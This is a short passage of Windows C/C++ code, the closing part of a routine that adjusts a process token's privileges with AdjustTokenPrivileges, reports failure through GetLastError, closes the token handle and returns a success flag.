				printf("AdjustTokenPrivileges() failed. gle=0x%08x", GetLastError());
				CloseHandle(hToken);
				return false;
			}
		}

		CloseHandle(hToken);
	}

	return true;
}